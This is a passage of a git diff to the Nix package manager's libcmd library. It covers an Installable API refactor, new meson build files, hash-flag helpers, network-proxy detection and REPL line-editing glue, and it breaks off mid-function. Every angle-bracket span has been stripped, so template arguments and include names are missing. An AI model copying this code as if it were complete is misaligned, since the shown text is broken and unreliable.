Installable::toDerivations(store, installables, true)) - res.push_back(BuiltPath::Opaque{drvPath}); + res.emplace_back(BuiltPath::Opaque{drvPath}); return res; } } -StorePathSet Installable::toStorePaths( +StorePathSet Installable::toStorePathSet( ref evalStore, ref store, Realise mode, OperateOn operateOn, - const std::vector> & installables) + const Installables & installables) { StorePathSet outPaths; for (auto & path : toBuiltPaths(evalStore, store, mode, operateOn, installables)) { @@ -1027,13 +773,27 @@ StorePathSet Installable::toStorePaths( return outPaths; } +StorePaths Installable::toStorePaths( + ref evalStore, + ref store, + Realise mode, OperateOn operateOn, + const Installables & installables) +{ + StorePaths outPaths; + for (auto & path : toBuiltPaths(evalStore, store, mode, operateOn, installables)) { + auto thisOutPaths = path.outPaths(); + outPaths.insert(outPaths.end(), thisOutPaths.begin(), thisOutPaths.end()); + } + return outPaths; +} + StorePath Installable::toStorePath( ref evalStore, ref store, Realise mode, OperateOn operateOn, - std::shared_ptr installable) + ref installable) { - auto paths = toStorePaths(evalStore, store, mode, operateOn, {installable}); + auto paths = toStorePathSet(evalStore, store, mode, operateOn, {installable}); if (paths.size() != 1) throw Error("argument '%s' should evaluate to one store path", installable->what()); @@ -1043,7 +803,7 @@ StorePath Installable::toStorePath( StorePathSet Installable::toDerivations( ref store, - const std::vector> & installables, + const Installables & installables, bool useDeriver) { StorePathSet drvPaths; @@ -1052,69 +812,107 @@ StorePathSet Installable::toDerivations( for (const auto & b : i->toDerivedPaths()) std::visit(overloaded { [&](const DerivedPath::Opaque & bo) { - if (!useDeriver) - throw Error("argument '%s' did not evaluate to a derivation", i->what()); - drvPaths.insert(getDeriver(store, *i, bo.path)); + drvPaths.insert( + bo.path.isDerivation() + ? bo.path + : useDeriver + ? getDeriver(store, *i, bo.path) + : throw Error("argument '%s' did not evaluate to a derivation", i->what())); }, [&](const DerivedPath::Built & bfd) { - drvPaths.insert(bfd.drvPath); + drvPaths.insert(resolveDerivedPath(*store, *bfd.drvPath)); }, - }, b.raw()); + }, b.path.raw()); return drvPaths; } -InstallablesCommand::InstallablesCommand() +RawInstallablesCommand::RawInstallablesCommand() { + addFlag({ + .longName = "stdin", + .description = "Read installables from the standard input. No default installable applied.", + .handler = {&readFromStdIn, true} + }); + expectArgs({ .label = "installables", - .handler = {&_installables}, - .completer = {[&](size_t, std::string_view prefix) { - completeInstallable(prefix); - }} + .handler = {&rawInstallables}, + .completer = getCompleteInstallable(), }); } -void InstallablesCommand::prepare() +void RawInstallablesCommand::applyDefaultInstallables(std::vector & rawInstallables) { - installables = load(); -} - -Installables InstallablesCommand::load() { - Installables installables; - if (_installables.empty() && useDefaultInstallables()) + if (rawInstallables.empty()) { // FIXME: commands like "nix profile install" should not have a // default, probably. - _installables.push_back("."); - return parseInstallables(getStore(), _installables); -} - -std::vector InstallablesCommand::getFlakesForCompletion() -{ - if (_installables.empty()) { - if (useDefaultInstallables()) - return {"."}; - return {}; + rawInstallables.push_back("."); } - return _installables; } -InstallableCommand::InstallableCommand(bool supportReadOnlyMode) - : SourceExprCommand(supportReadOnlyMode) +std::vector RawInstallablesCommand::getFlakeRefsForCompletion() +{ + applyDefaultInstallables(rawInstallables); + std::vector res; + for (auto i : rawInstallables) + res.push_back(parseFlakeRefWithFragment( + fetchSettings, + expandTilde(i), + absPath(getCommandBaseDir())).first); + return res; +} + +void RawInstallablesCommand::run(ref store) +{ + if (readFromStdIn && !isatty(STDIN_FILENO)) { + std::string word; + while (std::cin >> word) { + rawInstallables.emplace_back(std::move(word)); + } + } else { + applyDefaultInstallables(rawInstallables); + } + run(store, std::move(rawInstallables)); +} + +std::vector InstallableCommand::getFlakeRefsForCompletion() +{ + return { + parseFlakeRefWithFragment( + fetchSettings, + expandTilde(_installable), + absPath(getCommandBaseDir())).first + }; +} + +void InstallablesCommand::run(ref store, std::vector && rawInstallables) +{ + auto installables = parseInstallables(store, rawInstallables); + run(store, std::move(installables)); +} + +InstallableCommand::InstallableCommand() + : SourceExprCommand() { expectArgs({ .label = "installable", .optional = true, .handler = {&_installable}, - .completer = {[&](size_t, std::string_view prefix) { - completeInstallable(prefix); - }} + .completer = getCompleteInstallable(), }); } -void InstallableCommand::prepare() +void InstallableCommand::run(ref store) { - installable = parseInstallable(getStore(), _installable); + auto installable = parseInstallable(store, _installable); + run(store, std::move(installable)); +} + +void BuiltPathsCommand::applyDefaultInstallables(std::vector & rawInstallables) +{ + if (rawInstallables.empty() && !all) + rawInstallables.push_back("."); } } diff --git a/src/libcmd/installables.hh b/src/libcmd/installables.hh index 02ea351d3..bf5759230 100644 --- a/src/libcmd/installables.hh +++ b/src/libcmd/installables.hh @@ -1,134 +1,194 @@ #pragma once +///@file -#include "util.hh" #include "path.hh" -#include "path-with-outputs.hh" +#include "outputs-spec.hh" #include "derived-path.hh" -#include "eval.hh" +#include "built-path.hh" #include "store-api.hh" -#include "flake/flake.hh" #include "build-result.hh" #include namespace nix { -struct DrvInfo; -struct SourceExprCommand; - -namespace eval_cache { class EvalCache; class AttrCursor; } - -struct App -{ - std::vector context; - Path program; - // FIXME: add args, sandbox settings, metadata, ... -}; - -struct UnresolvedApp -{ - App unresolved; - App resolve(ref evalStore, ref store); -}; +struct PackageInfo; enum class Realise { - /* Build the derivation. Postcondition: the - derivation outputs exist. */ + /** + * Build the derivation. + * + * Postcondition: the derivation outputs exist. + */ Outputs, - /* Don't build the derivation. Postcondition: the store derivation - exists. */ + /** + * Don't build the derivation. + * + * Postcondition: the store derivation exists. + */ Derivation, - /* Evaluate in dry-run mode. Postcondition: nothing. */ - // FIXME: currently unused, but could be revived if we can - // evaluate derivations in-memory. + /** + * Evaluate in dry-run mode. + * + * Postcondition: nothing. + * + * \todo currently unused, but could be revived if we can evaluate + * derivations in-memory. + */ Nothing }; -/* How to handle derivations in commands that operate on store paths. */ +/** + * How to handle derivations in commands that operate on store paths. + */ enum class OperateOn { - /* Operate on the output path. */ + /** + * Operate on the output path. + */ Output, - /* Operate on the .drv path. */ + /** + * Operate on the .drv path. + */ Derivation }; +/** + * Extra info about a DerivedPath + * + * Yes, this is empty, but that is intended. It will be sub-classed by + * the subclasses of Installable to allow those to provide more info. + * Certain commands will make use of this info. + */ +struct ExtraPathInfo +{ + virtual ~ExtraPathInfo() = default; +}; + +/** + * A DerivedPath with \ref ExtraPathInfo "any additional info" that + * commands might need from the derivation. + */ +struct DerivedPathWithInfo +{ + DerivedPath path; + ref info; +}; + +/** + * Like DerivedPathWithInfo but extending BuiltPath with \ref + * ExtraPathInfo "extra info" and also possibly the \ref BuildResult + * "result of building". + */ struct BuiltPathWithResult { BuiltPath path; + ref info; std::optional result; }; +/** + * Shorthand, for less typing and helping us keep the choice of + * collection in sync. + */ +typedef std::vector DerivedPathsWithInfo; + +struct Installable; + +/** + * Shorthand, for less typing and helping us keep the choice of + * collection in sync. + */ +typedef std::vector> Installables; + +/** + * Installables are the main positional arguments for the Nix + * Command-line. + * + * This base class is very flexible, and just assumes and the + * Installable refers to a collection of \ref DerivedPath "derived paths" with + * \ref ExtraPathInfo "extra info". + */ struct Installable { virtual ~Installable() { } + /** + * What Installable is this? + * + * Prints back valid CLI syntax that would result in this same + * installable. It doesn't need to be exactly what the user wrote, + * just something that means the same thing. + */ virtual std::string what() const = 0; - virtual DerivedPaths toDerivedPaths() = 0; + /** + * Get the collection of \ref DerivedPathWithInfo "derived paths + * with info" that this \ref Installable instalallable denotes. + * + * This is the main method of this class + */ + virtual DerivedPathsWithInfo toDerivedPaths() = 0; - virtual StorePathSet toDrvPaths(ref store) - { - throw Error("'%s' cannot be converted to a derivation path", what()); - } + /** + * A convenience wrapper of the above for when we expect an + * installable to produce a single \ref DerivedPath "derived path" + * only. + * + * If no or multiple \ref DerivedPath "derived paths" are produced, + * and error is raised. + */ + DerivedPathWithInfo toDerivedPath(); - DerivedPath toDerivedPath(); - - UnresolvedApp toApp(EvalState & state); - - virtual std::pair toValue(EvalState & state) - { - throw Error("argument '%s' cannot be evaluated", what()); - } - - /* Return a value only if this installable is a store path or a - symlink to it. */ + /** + * Return a value only if this installable is a store path or a + * symlink to it. + * + * \todo should we move this to InstallableDerivedPath? It is only + * supposed to work there anyways. Can always downcast. + */ virtual std::optional getStorePath() { return {}; } - virtual std::vector> - getCursors(EvalState & state); - - virtual ref - getCursor(EvalState & state); - - virtual FlakeRef nixpkgsFlakeRef() const - { - return FlakeRef::fromAttrs({{"type","indirect"}, {"id", "nixpkgs"}}); - } - static std::vector build( ref evalStore, ref store, Realise mode, - const std::vector> & installables, + const Installables & installables, BuildMode bMode = bmNormal); - static std::vector, BuiltPathWithResult>> build2( + static std::vector, BuiltPathWithResult>> build2( ref evalStore, ref store, Realise mode, - const std::vector> & installables, + const Installables & installables, BuildMode bMode = bmNormal); - static std::set toStorePaths( + static std::set toStorePathSet( ref evalStore, ref store, Realise mode, OperateOn operateOn, - const std::vector> & installables); + const Installables & installables); + + static std::vector toStorePaths( + ref evalStore, + ref store, + Realise mode, + OperateOn operateOn, + const Installables & installables); static StorePath toStorePath( ref evalStore, ref store, Realise mode, OperateOn operateOn, - std::shared_ptr installable); + ref installable); static std::set toDerivations( ref store, - const std::vector> & installables, + const Installables & installables, bool useDeriver = false); static BuiltPaths toBuiltPaths( @@ -136,78 +196,7 @@ struct Installable ref store, Realise mode, OperateOn operateOn, - const std::vector> & installables); + const Installables & installables); }; -typedef std::vector> Installables; - -struct InstallableValue : Installable -{ - ref state; - - InstallableValue(ref state) : state(state) {} - - struct DerivationInfo - { - StorePath drvPath; - std::set outputsToInstall; - std::optional priority; - }; - - virtual std::vector toDerivations() = 0; - - DerivedPaths toDerivedPaths() override; - - StorePathSet toDrvPaths(ref store) override; -}; - -struct InstallableFlake : InstallableValue -{ - FlakeRef flakeRef; - Strings attrPaths; - Strings prefixes; - OutputsSpec outputsSpec; - const flake::LockFlags & lockFlags; - mutable std::shared_ptr _lockedFlake; - - InstallableFlake( - SourceExprCommand * cmd, - ref state, - FlakeRef && flakeRef, - std::string_view fragment, - OutputsSpec outputsSpec, - Strings attrPaths, - Strings prefixes, - const flake::LockFlags & lockFlags); - - std::string what() const override { return flakeRef.to_string() + "#" + *attrPaths.begin(); } - - std::vector getActualAttrPaths(); - - Value * getFlakeOutputs(EvalState & state, const flake::LockedFlake & lockedFlake); - - std::tuple toDerivation(); - - std::vector toDerivations() override; - - std::pair toValue(EvalState & state) override; - - /* Get a cursor to every attrpath in getActualAttrPaths() that - exists. */ - std::vector> - getCursors(EvalState & state) override; - - /* Get a cursor to the first attrpath in getActualAttrPaths() that - exists, or throw an exception with suggestions if none exists. */ - ref getCursor(EvalState & state) override; - - std::shared_ptr getLockedFlake() const; - - FlakeRef nixpkgsFlakeRef() const override; -}; - -ref openEvalCache( - EvalState & state, - std::shared_ptr lockedFlake); - } diff --git a/src/libcmd/legacy.hh b/src/libcmd/legacy.hh index f503b0da3..357500a4d 100644 --- a/src/libcmd/legacy.hh +++ b/src/libcmd/legacy.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include #include diff --git a/src/libcmd/local.mk b/src/libcmd/local.mk index 152bc388d..a270333f4 100644 --- a/src/libcmd/local.mk +++ b/src/libcmd/local.mk @@ -6,10 +6,10 @@ libcmd_DIR := $(d) libcmd_SOURCES := $(wildcard $(d)/*.cc) -libcmd_CXXFLAGS += -I src/libutil -I src/libstore -I src/libexpr -I src/libmain -I src/libfetchers -I src/nix +libcmd_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libflake) $(INCLUDE_libmain) -libcmd_LDFLAGS = $(EDITLINE_LIBS) $(LOWDOWN_LIBS) -pthread +libcmd_LDFLAGS = $(EDITLINE_LIBS) $(LOWDOWN_LIBS) $(THREAD_LDFLAGS) -libcmd_LIBS = libstore libutil libexpr libmain libfetchers +libcmd_LIBS = libutil libstore libfetchers libflake libexpr libmain -$(eval $(call install-file-in, $(d)/nix-cmd.pc, $(libdir)/pkgconfig, 0644)) +$(eval $(call install-file-in, $(buildprefix)$(d)/nix-cmd.pc, $(libdir)/pkgconfig, 0644)) diff --git a/src/libcmd/markdown.cc b/src/libcmd/markdown.cc index 668a07763..6a0d05d9f 100644 --- a/src/libcmd/markdown.cc +++ b/src/libcmd/markdown.cc @@ -1,17 +1,23 @@ #include "markdown.hh" -#include "util.hh" +#include "environment-variables.hh" +#include "error.hh" #include "finally.hh" +#include "terminal.hh" -#include -#include +#if HAVE_LOWDOWN +# include +# include +#endif namespace nix { -std::string renderMarkdownToTerminal(std::string_view markdown) +#if HAVE_LOWDOWN +static std::string doRenderMarkdownToTerminal(std::string_view markdown) { int windowWidth = getWindowSize().second; - struct lowdown_opts opts { + struct lowdown_opts opts + { .type = LOWDOWN_TERM, .maxdepth = 20, .cols = (size_t) std::max(windowWidth - 5, 60), @@ -46,7 +52,22 @@ std::string renderMarkdownToTerminal(std::string_view markdown) if (!rndr_res) throw Error("allocation error while rendering Markdown"); - return filterANSIEscapes(std::string(buf->data, buf->size), !shouldANSI()); + return filterANSIEscapes(std::string(buf->data, buf->size), !isTTY()); } +std::string renderMarkdownToTerminal(std::string_view markdown) +{ + if (auto e = getEnv("_NIX_TEST_RAW_MARKDOWN"); e && *e == "1") + return std::string(markdown); + else + return doRenderMarkdownToTerminal(markdown); } + +#else +std::string renderMarkdownToTerminal(std::string_view markdown) +{ + return std::string(markdown); +} +#endif + +} // namespace nix diff --git a/src/libcmd/markdown.hh b/src/libcmd/markdown.hh index 78320fcf5..66db1736c 100644 --- a/src/libcmd/markdown.hh +++ b/src/libcmd/markdown.hh @@ -1,7 +1,17 @@ -#include "types.hh" +#pragma once +///@file + +#include namespace nix { +/** + * Render the given Markdown text to the terminal. + * + * If Nix is compiled without Markdown support, this function will return the input text as-is. + * + * The renderer takes into account the terminal width, and wraps text accordingly. + */ std::string renderMarkdownToTerminal(std::string_view markdown); } diff --git a/src/libcmd/meson.build b/src/libcmd/meson.build new file mode 100644 index 000000000..c484cf998 --- /dev/null +++ b/src/libcmd/meson.build @@ -0,0 +1,130 @@ +project('nix-cmd', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-fetchers'), + dependency('nix-expr'), + dependency('nix-flake'), + dependency('nix-main'), +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +lowdown = dependency('lowdown', version : '>= 0.9.0', required : get_option('markdown')) +deps_private += lowdown +configdata.set('HAVE_LOWDOWN', lowdown.found().to_int()) + +readline_flavor = get_option('readline-flavor') +if readline_flavor == 'editline' + editline = dependency('libeditline', 'editline', version : '>=1.14') + deps_private += editline +elif readline_flavor == 'readline' + readline = dependency('readline') + deps_private += readline + configdata.set( + 'USE_READLINE', + 1, + description: 'Use readline instead of editline', + ) +else + error('illegal editline flavor', readline_flavor) +endif + +config_h = configure_file( + configuration : configdata, + output : 'config-cmd.hh', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + # '-include', 'config-fetchers.h', + '-include', 'config-expr.hh', + '-include', 'config-main.hh', + '-include', 'config-cmd.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'built-path.cc', + 'command-installable-value.cc', + 'command.cc', + 'common-eval-args.cc', + 'editor-for.cc', + 'installable-attr-path.cc', + 'installable-derived-path.cc', + 'installable-flake.cc', + 'installable-value.cc', + 'installables.cc', + 'legacy.cc', + 'markdown.cc', + 'misc-store-flags.cc', + 'network-proxy.cc', + 'repl-interacter.cc', + 'repl.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'built-path.hh', + 'command-installable-value.hh', + 'command.hh', + 'common-eval-args.hh', + 'compatibility-settings.hh', + 'editor-for.hh', + 'installable-attr-path.hh', + 'installable-derived-path.hh', + 'installable-flake.hh', + 'installable-value.hh', + 'installables.hh', + 'legacy.hh', + 'markdown.hh', + 'misc-store-flags.hh', + 'network-proxy.hh', + 'repl-interacter.hh', + 'repl.hh', +) + +this_library = library( + 'nixcmd', + sources, + dependencies : deps_public + deps_private + deps_other, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libcmd/meson.options b/src/libcmd/meson.options new file mode 100644 index 000000000..79ae4fa55 --- /dev/null +++ b/src/libcmd/meson.options @@ -0,0 +1,15 @@ +# vim: filetype=meson + +option( + 'markdown', + type: 'feature', + description: 'Enable Markdown rendering in the Nix binary (requires lowdown)', +) + +option( + 'readline-flavor', + type : 'combo', + choices : ['editline', 'readline'], + value : 'editline', + description : 'Which library to use for nice line editing with the Nix language REPL', +) diff --git a/src/libcmd/misc-store-flags.cc b/src/libcmd/misc-store-flags.cc new file mode 100644 index 000000000..06552c032 --- /dev/null +++ b/src/libcmd/misc-store-flags.cc @@ -0,0 +1,135 @@ +#include "misc-store-flags.hh" + +namespace nix::flag +{ + +static void hashFormatCompleter(AddCompletions & completions, size_t index, std::string_view prefix) +{ + for (auto & format : hashFormats) { + if (hasPrefix(format, prefix)) { + completions.add(format); + } + } +} + +Args::Flag hashFormatWithDefault(std::string && longName, HashFormat * hf) +{ + assert(*hf == nix::HashFormat::SRI); + return Args::Flag { + .longName = std::move(longName), + .description = "Hash format (`base16`, `nix32`, `base64`, `sri`). Default: `sri`.", + .labels = {"hash-format"}, + .handler = {[hf](std::string s) { + *hf = parseHashFormat(s); + }}, + .completer = hashFormatCompleter, + }; +} + +Args::Flag hashFormatOpt(std::string && longName, std::optional * ohf) +{ + return Args::Flag { + .longName = std::move(longName), + .description = "Hash format (`base16`, `nix32`, `base64`, `sri`).", + .labels = {"hash-format"}, + .handler = {[ohf](std::string s) { + *ohf = std::optional{parseHashFormat(s)}; + }}, + .completer = hashFormatCompleter, + }; +} + +static void hashAlgoCompleter(AddCompletions & completions, size_t index, std::string_view prefix) +{ + for (auto & algo : hashAlgorithms) + if (hasPrefix(algo, prefix)) + completions.add(algo); +} + +Args::Flag hashAlgo(std::string && longName, HashAlgorithm * ha) +{ + return Args::Flag { + .longName = std::move(longName), + .description = "Hash algorithm (`md5`, `sha1`, `sha256`, or `sha512`).", + .labels = {"hash-algo"}, + .handler = {[ha](std::string s) { + *ha = parseHashAlgo(s); + }}, + .completer = hashAlgoCompleter, + }; +} + +Args::Flag hashAlgoOpt(std::string && longName, std::optional * oha) +{ + return Args::Flag { + .longName = std::move(longName), + .description = "Hash algorithm (`md5`, `sha1`, `sha256`, or `sha512`). Can be omitted for SRI hashes.", + .labels = {"hash-algo"}, + .handler = {[oha](std::string s) { + *oha = std::optional{parseHashAlgo(s)}; + }}, + .completer = hashAlgoCompleter, + }; +} + +Args::Flag fileIngestionMethod(FileIngestionMethod * method) +{ + return Args::Flag { + .longName = "mode", + // FIXME indentation carefully made for context, this is messed up. + .description = R"( + How to compute the hash of the input. + One of: + + - `nar` (the default): + Serialises the input as a + [Nix Archive](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) + and passes that to the hash function. + + - `flat`: + Assumes that the input is a single file and + [directly passes](@docroot@/store/file-system-object/content-address.md#serial-flat) + it to the hash function. + )", + .labels = {"file-ingestion-method"}, + .handler = {[method](std::string s) { + *method = parseFileIngestionMethod(s); + }}, + }; +} + +Args::Flag contentAddressMethod(ContentAddressMethod * method) +{ + return Args::Flag { + .longName = "mode", + // FIXME indentation carefully made for context, this is messed up. + .description = R"( + How to compute the content-address of the store object. + One of: + + - [`nar`](@docroot@/store/store-object/content-address.md#method-nix-archive) + (the default): + Serialises the input as a + [Nix Archive](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) + and passes that to the hash function. + + - [`flat`](@docroot@/store/store-object/content-address.md#method-flat): + Assumes that the input is a single file and + [directly passes](@docroot@/store/file-system-object/content-address.md#serial-flat) + it to the hash function. + + - [`text`](@docroot@/store/store-object/content-address.md#method-text): + Like `flat`, but used for + [derivations](@docroot@/glossary.md#store-derivation) serialized in store object and + [`builtins.toFile`](@docroot@/language/builtins.html#builtins-toFile). + For advanced use-cases only; + for regular usage prefer `nar` and `flat`. + )", + .labels = {"content-address-method"}, + .handler = {[method](std::string s) { + *method = ContentAddressMethod::parse(s); + }}, + }; +} + +} diff --git a/src/libcmd/misc-store-flags.hh b/src/libcmd/misc-store-flags.hh new file mode 100644 index 000000000..124372af7 --- /dev/null +++ b/src/libcmd/misc-store-flags.hh @@ -0,0 +1,21 @@ +#include "args.hh" +#include "content-address.hh" + +namespace nix::flag { + +Args::Flag hashAlgo(std::string && longName, HashAlgorithm * ha); +static inline Args::Flag hashAlgo(HashAlgorithm * ha) +{ + return hashAlgo("hash-algo", ha); +} +Args::Flag hashAlgoOpt(std::string && longName, std::optional * oha); +Args::Flag hashFormatWithDefault(std::string && longName, HashFormat * hf); +Args::Flag hashFormatOpt(std::string && longName, std::optional * ohf); +static inline Args::Flag hashAlgoOpt(std::optional * oha) +{ + return hashAlgoOpt("hash-algo", oha); +} +Args::Flag fileIngestionMethod(FileIngestionMethod * method); +Args::Flag contentAddressMethod(ContentAddressMethod * method); + +} diff --git a/src/libcmd/network-proxy.cc b/src/libcmd/network-proxy.cc new file mode 100644 index 000000000..738bf6147 --- /dev/null +++ b/src/libcmd/network-proxy.cc @@ -0,0 +1,50 @@ +#include "network-proxy.hh" + +#include + +#include "environment-variables.hh" + +namespace nix { + +static const StringSet lowercaseVariables{"http_proxy", "https_proxy", "ftp_proxy", "all_proxy", "no_proxy"}; + +static StringSet getAllVariables() +{ + StringSet variables = lowercaseVariables; + for (const auto & variable : lowercaseVariables) { + std::string upperVariable; + std::transform( + variable.begin(), variable.end(), upperVariable.begin(), [](unsigned char c) { return std::toupper(c); }); + variables.insert(std::move(upperVariable)); + } + return variables; +} + +const StringSet networkProxyVariables = getAllVariables(); + +static StringSet getExcludingNoProxyVariables() +{ + static const StringSet excludeVariables{"no_proxy", "NO_PROXY"}; + StringSet variables; + std::set_difference( + networkProxyVariables.begin(), + networkProxyVariables.end(), + excludeVariables.begin(), + excludeVariables.end(), + std::inserter(variables, variables.begin())); + return variables; +} + +static const StringSet excludingNoProxyVariables = getExcludingNoProxyVariables(); + +bool haveNetworkProxyConnection() +{ + for (const auto & variable : excludingNoProxyVariables) { + if (getEnv(variable).has_value()) { + return true; + } + } + return false; +} + +} diff --git a/src/libcmd/network-proxy.hh b/src/libcmd/network-proxy.hh new file mode 100644 index 000000000..0b6856acb --- /dev/null +++ b/src/libcmd/network-proxy.hh @@ -0,0 +1,22 @@ +#pragma once +///@file + +#include "types.hh" + +namespace nix { + +/** + * Environment variables relating to network proxying. These are used by + * a few misc commands. + * + * See the Environment section of https://curl.se/docs/manpage.html for details. + */ +extern const StringSet networkProxyVariables; + +/** + * Heuristically check if there is a proxy connection by checking for defined + * proxy variables. + */ +bool haveNetworkProxyConnection(); + +} diff --git a/src/libcmd/nix-cmd.pc.in b/src/libcmd/nix-cmd.pc.in index 1761a9f41..39575f222 100644 --- a/src/libcmd/nix-cmd.pc.in +++ b/src/libcmd/nix-cmd.pc.in @@ -6,4 +6,4 @@ Name: Nix Description: Nix Package Manager Version: @PACKAGE_VERSION@ Libs: -L${libdir} -lnixcmd -Cflags: -I${includedir}/nix -std=c++17 +Cflags: -I${includedir}/nix -std=c++2a diff --git a/src/libcmd/package.nix b/src/libcmd/package.nix new file mode 100644 index 000000000..cde494901 --- /dev/null +++ b/src/libcmd/package.nix @@ -0,0 +1,104 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util +, nix-store +, nix-fetchers +, nix-expr +, nix-flake +, nix-main +, editline +, readline +, lowdown +, nlohmann_json + +# Configuration Options + +, version + +# Whether to enable Markdown rendering in the Nix binary. +, enableMarkdown ? !stdenv.hostPlatform.isWindows + +# Which interactive line editor library to use for Nix's repl. +# +# Currently supported choices are: +# +# - editline (default) +# - readline +, readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline" +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-cmd"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + ({ inherit editline readline; }.${readlineFlavor}) + ] ++ lib.optional enableMarkdown lowdown; + + propagatedBuildInputs = [ + nix-util + nix-store + nix-fetchers + nix-expr + nix-flake + nix-main + nlohmann_json + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + mesonFlags = [ + (lib.mesonEnable "markdown" enableMarkdown) + (lib.mesonOption "readline-flavor" readlineFlavor) + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc new file mode 100644 index 000000000..187af46ea --- /dev/null +++ b/src/libcmd/repl-interacter.cc @@ -0,0 +1,206 @@ +#include + +#ifdef USE_READLINE +#include +#include +#else +// editline < 1.15.2 don't wrap their API for C++ usage +// (added in https://github.com/troglobit/editline/commit/91398ceb3427b730995357e9d120539fb9bb7461). +// This results in linker errors due to to name-mangling of editline C symbols. +// For compatibility with these versions, we wrap the API here +// (wrapping multiple times on newer versions is no problem). +extern "C" { +#include +} +#endif + +#include "signals.hh" +#include "finally.hh" +#include "repl-interacter.hh" +#include "file-system.hh" +#include "repl.hh" +#include "environment-variables.hh" + +namespace nix { + +namespace { +// Used to communicate to NixRepl::getLine whether a signal occurred in ::readline. +volatile sig_atomic_t g_signal_received = 0; + +void sigintHandler(int signo) +{ + g_signal_received = signo; +} +}; + +static detail::ReplCompleterMixin * curRepl; // ugly + +#ifndef USE_READLINE +static char * completionCallback(char * s, int * match) +{ + auto possible = curRepl->completePrefix(s); + if (possible.size() == 1) { + *match = 1; + auto * res = strdup(possible.begin()->c_str() + strlen(s)); + if (!res) + throw Error("allocation failure"); + return res; + } else if (possible.size() > 1) { + auto checkAllHaveSameAt = [&](size_t pos) { + auto & first = *possible.begin(); + for (auto & p : possible) { + if (p.size() <= pos || p[pos] != first[pos]) + return false; + } + return true; + }; + size_t start = strlen(s); + size_t len = 0; + while (checkAllHaveSameAt(start + len)) + ++len; + if (len > 0) { + *match = 1; + auto * res = strdup(std::string(*possible.begin(), start, len).c_str()); + if (!res) + throw Error("allocation failure"); + return res; + } + } + + *match = 0; + return nullptr; +} + +static int listPossibleCallback(char * s, char *** avp) +{ + auto possible = curRepl->completePrefix(s); + + if (possible.size() > (std::numeric_limits::max() / sizeof(char *))) + throw Error("too many completions"); + + int ac = 0; + char ** vp = nullptr; + + auto check = [&](auto * p) { + if (!p) { + if (vp) { + while (--ac >= 0) + free(vp[ac]); + free(vp); + } + throw Error("allocation failure"); + } + return p; + }; + + vp = check((char **) malloc(possible.size() * sizeof(char *))); + + for (auto & p : possible) + vp[ac++] = check(strdup(p.c_str())); + + *avp = vp; + + return ac; +} +#endif + +ReadlineLikeInteracter::Guard ReadlineLikeInteracter::init(detail::ReplCompleterMixin * repl) +{ + // Allow nix-repl specific settings in .inputrc + rl_readline_name = "nix-repl"; + try { + createDirs(dirOf(historyFile)); + } catch (SystemError & e) { + logWarning(e.info()); + } +#ifndef USE_READLINE + el_hist_size = 1000; +#endif + read_history(historyFile.c_str()); + auto oldRepl = curRepl; + curRepl = repl; + Guard restoreRepl([oldRepl] { curRepl = oldRepl; }); +#ifndef USE_READLINE + rl_set_complete_func(completionCallback); + rl_set_list_possib_func(listPossibleCallback); +#endif + return restoreRepl; +} + +static constexpr const char * promptForType(ReplPromptType promptType) +{ + switch (promptType) { + case ReplPromptType::ReplPrompt: + return "nix-repl> "; + case ReplPromptType::ContinuationPrompt: + return " "; + } + assert(false); +} + +bool ReadlineLikeInteracter::getLine(std::string & input, ReplPromptType promptType) +{ +#ifndef _WIN32 // TODO use more signals.hh for this + struct sigaction act, old; + sigset_t savedSignalMask, set; + + auto setupSignals = [&]() { + act.sa_handler = sigintHandler; + sigfillset(&act.sa_mask); + act.sa_flags = 0; + if (sigaction(SIGINT, &act, &old)) + throw SysError("installing handler for SIGINT"); + + sigemptyset(&set); + sigaddset(&set, SIGINT); + if (sigprocmask(SIG_UNBLOCK, &set, &savedSignalMask)) + throw SysError("unblocking SIGINT"); + }; + auto restoreSignals = [&]() { + if (sigprocmask(SIG_SETMASK, &savedSignalMask, nullptr)) + throw SysError("restoring signals"); + + if (sigaction(SIGINT, &old, 0)) + 